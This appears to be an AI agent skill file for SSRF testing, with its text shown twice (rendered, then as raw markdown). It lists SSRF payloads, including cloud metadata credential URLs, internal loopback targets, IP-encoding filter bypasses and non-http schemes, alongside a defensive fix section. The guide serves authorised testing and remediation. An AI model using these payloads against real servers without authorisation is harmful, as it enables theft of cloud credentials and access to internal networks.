Prerequisites
- Target system, dependencies and environment configured.
Usage
Purpose
Server-Side Request Forgery is making the server fetch a URL of your choosing. Because the request comes from the server, it reaches things you can't: internal admin panels, databases, and — the big one in cloud — the metadata service that hands out credentials. This skill covers finding SSRF and shutting it down.
When to use it
Any feature where the server fetches something on your behalf: URL preview/unfurling, webhook configuration, "import from URL", PDF/screenshot generators, image proxies, XML/SVG parsers, anything taking a URL, hostname, or IP as input.
Procedure
- Find the fetch. Look for parameters holding URLs or hostnames, and features that clearly reach out (link previews, avatar-from-URL, webhook tests).
- Point it at a listener you control and confirm the server actually calls out. Use a request-catcher (Burp Collaborator, or a simple server you own):
url=https://your-collaborator-id.oastify.com/ssrf-check
A hit means the server fetched it — SSRF is live.
- Pivot inward. Try to reach the loopback interface and common internal ports:
url=http://127.0.0.1:80/
url=http://localhost:8080/admin
- In a cloud environment, test the metadata endpoint — this is where SSRF turns into credential theft. Expect and want a block (see IMDSv2 in the cloud domain):
url=http://169.254.169.254/latest/meta-data/
- If direct internal URLs are filtered, test the usual bypasses to see whether the filter is real or cosmetic: alternate IP encodings, a domain that resolves to
127.0.0.1, redirect chains, and non-http schemes:url=http://127.1/
url=http://[::1]/
url=http://2130706433/ # decimal for 127.0.0.1
url=http://your-domain-that-a-records-to-127.0.0.1/
- Note whether responses come back to you (in-band) or not (blind). Blind SSRF is still serious — the metadata pivot doesn't need the response echoed if the app uses the fetched content.
Cheatsheet
url=https://COLLAB-ID.oastify.com/x
http://127.0.0.1:PORT/ http://localhost/ http://[::1]/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure
http://127.1/ http://2130706433/ http://0x7f000001/
http://localtest.me/ (public name -> 127.0.0.1)
gopher:// file:// dict:// (non-http schemes, if the fetcher allows)
Reading the output
- A callback on your listener confirms SSRF, even if nothing comes back in the response — that's blind SSRF and still exploitable.
- An internal service's response (a title, a redirect, a JSON body from a port you can't reach directly) proves you're reaching the internal network.
- Metadata credentials returned is critical — that's cloud account access, the worst SSRF outcome.
- A filter that blocks
127.0.0.1 but not 127.1 or the decimal form is a broken filter — report it as vulnerable, not mitigated.
The fix
Deny by default. Validate the destination against an allowlist of exact hosts the feature legitimately needs, not a blocklist of bad ones (blocklists lose to encoding tricks every time). Then:
- Resolve the hostname and check the resolved IP against the allowlist, after following redirects — a name that passes validation can still resolve to
169.254.169.254 or 10.0.0.0/8 (DNS rebinding). Re-validate the final IP.
- Block requests to private, loopback, and link-local ranges (RFC 1918,
127.0.0.0/8, 169.254.0.0/16).
- Allow only
http/https; reject file://, gopher://, dict://.
- Don't return the raw fetched response to the user, and give the fetcher its own restricted network egress.
- On AWS specifically, enforce IMDSv2 so a bare SSRF can't read the metadata endpoint — defence in depth for when the app-layer check fails.
Pitfalls
- Blocklist filters.
127.0.0.1 blocked, 2130706433 allowed — same address, different notation. Allowlist the destination instead.
- Validating the URL but not the resolved IP. DNS rebinding walks straight through hostname checks.
- Dismissing blind SSRF. No echoed response doesn't mean no impact — metadata theft and internal port scanning don't need the body returned.
- Forgetting redirects. An allowed host that 302s to an internal one defeats a naive check. Validate after each hop.
References
- OWASP WSTG-INPV-19 (Testing for SSRF)
- OWASP SSRF Prevention Cheat Sheet
- CWE-918
- AWS IMDSv2 documentation
Inputs
- Relevant source code, logs, network traces, or system specifications.
Outputs
- Analysis findings, security audit report, or generated code artifacts.
1---2name: ssrf-testing3description: Use when an app fetches a URL you can influence — testing whether you can make the server request internal services, cloud metadata, or arbitrary hosts, and the fix.4---5678## Prerequisites9- Target system, dependencies and environment configured.1011## Usage12### Purpose1314Server-Side Request Forgery is making the server fetch a URL of your choosing. Because the request comes *from the server*, it reaches things you can't: internal admin panels, databases, and — the big one in cloud — the metadata service that hands out credentials. This skill covers finding SSRF and shutting it down.1516### When to use it1718Any feature where the server fetches something on your behalf: URL preview/unfurling, webhook configuration, "import from URL", PDF/screenshot generators, image proxies, XML/SVG parsers, anything taking a URL, hostname, or IP as input.1920### Procedure21221. Find the fetch. Look for parameters holding URLs or hostnames, and features that clearly reach out (link previews, avatar-from-URL, webhook tests).232. Point it at a listener you control and confirm the server actually calls out. Use a request-catcher (Burp Collaborator, or a simple server you own):24 ```25 url=https://your-collaborator-id.oastify.com/ssrf-check26 ```27 A hit means the server fetched it — SSRF is live.283. Pivot inward. Try to reach the loopback interface and common internal ports:29 ```30 url=http://127.0.0.1:80/31 url=http://localhost:8080/admin32 ```334. In a cloud environment, test the metadata endpoint — this is where SSRF turns into credential theft. Expect and want a block (see IMDSv2 in the cloud domain):34 ```35 url=http://169.254.169.254/latest/meta-data/36 ```375. If direct internal URLs are filtered, test the usual bypasses to see whether the filter is real or cosmetic: alternate IP encodings, a domain that resolves to `127.0.0.1`, redirect chains, and non-`http` schemes:38 ```39 url=http://127.1/40 url=http://[::1]/41 url=http://2130706433/ # decimal for 127.0.0.142 url=http://your-domain-that-a-records-to-127.0.0.1/43 ```446. Note whether responses come back to you (in-band) or not (blind). Blind SSRF is still serious — the metadata pivot doesn't need the response echoed if the app uses the fetched content.4546### Cheatsheet4748```49url=https://COLLAB-ID.oastify.com/x5051http://127.0.0.1:PORT/ http://localhost/ http://[::1]/5253http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS54http://metadata.google.internal/computeMetadata/v1/ # GCP55http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure5657http://127.1/ http://2130706433/ http://0x7f000001/58http://localtest.me/ (public name -> 127.0.0.1)59gopher:// file:// dict:// (non-http schemes, if the fetcher allows)60```6162### Reading the output6364- **A callback on your listener** confirms SSRF, even if nothing comes back in the response — that's blind SSRF and still exploitable.65- **An internal service's response** (a title, a redirect, a JSON body from a port you can't reach directly) proves you're reaching the internal network.66- **Metadata credentials returned** is critical — that's cloud account access, the worst SSRF outcome.67- **A filter that blocks `127.0.0.1` but not `127.1` or the decimal form** is a broken filter — report it as vulnerable, not mitigated.6869### The fix7071Deny by default. Validate the destination against an **allowlist** of exact hosts the feature legitimately needs, not a blocklist of bad ones (blocklists lose to encoding tricks every time). Then:7273- Resolve the hostname and check the *resolved IP* against the allowlist, after following redirects — a name that passes validation can still resolve to `169.254.169.254` or `10.0.0.0/8` (DNS rebinding). Re-validate the final IP.74- Block requests to private, loopback, and link-local ranges (RFC 1918, `127.0.0.0/8`, `169.254.0.0/16`).75- Allow only `http`/`https`; reject `file://`, `gopher://`, `dict://`.76- Don't return the raw fetched response to the user, and give the fetcher its own restricted network egress.77- On AWS specifically, enforce **IMDSv2** so a bare SSRF can't read the metadata endpoint — defence in depth for when the app-layer check fails.7879### Pitfalls8081- **Blocklist filters.** `127.0.0.1` blocked, `2130706433` allowed — same address, different notation. Allowlist the destination instead.82- **Validating the URL but not the resolved IP.** DNS rebinding walks straight through hostname checks.83- **Dismissing blind SSRF.** No echoed response doesn't mean no impact — metadata theft and internal port scanning don't need the body returned.84- **Forgetting redirects.** An allowed host that 302s to an internal one defeats a naive check. Validate after each hop.8586### References8788- OWASP WSTG-INPV-19 (Testing for SSRF)89- OWASP SSRF Prevention Cheat Sheet90- CWE-91891- AWS IMDSv2 documentation9293## Inputs94- Relevant source code, logs, network traces, or system specifications.9596## Outputs97- Analysis findings, security audit report, or generated code artifacts.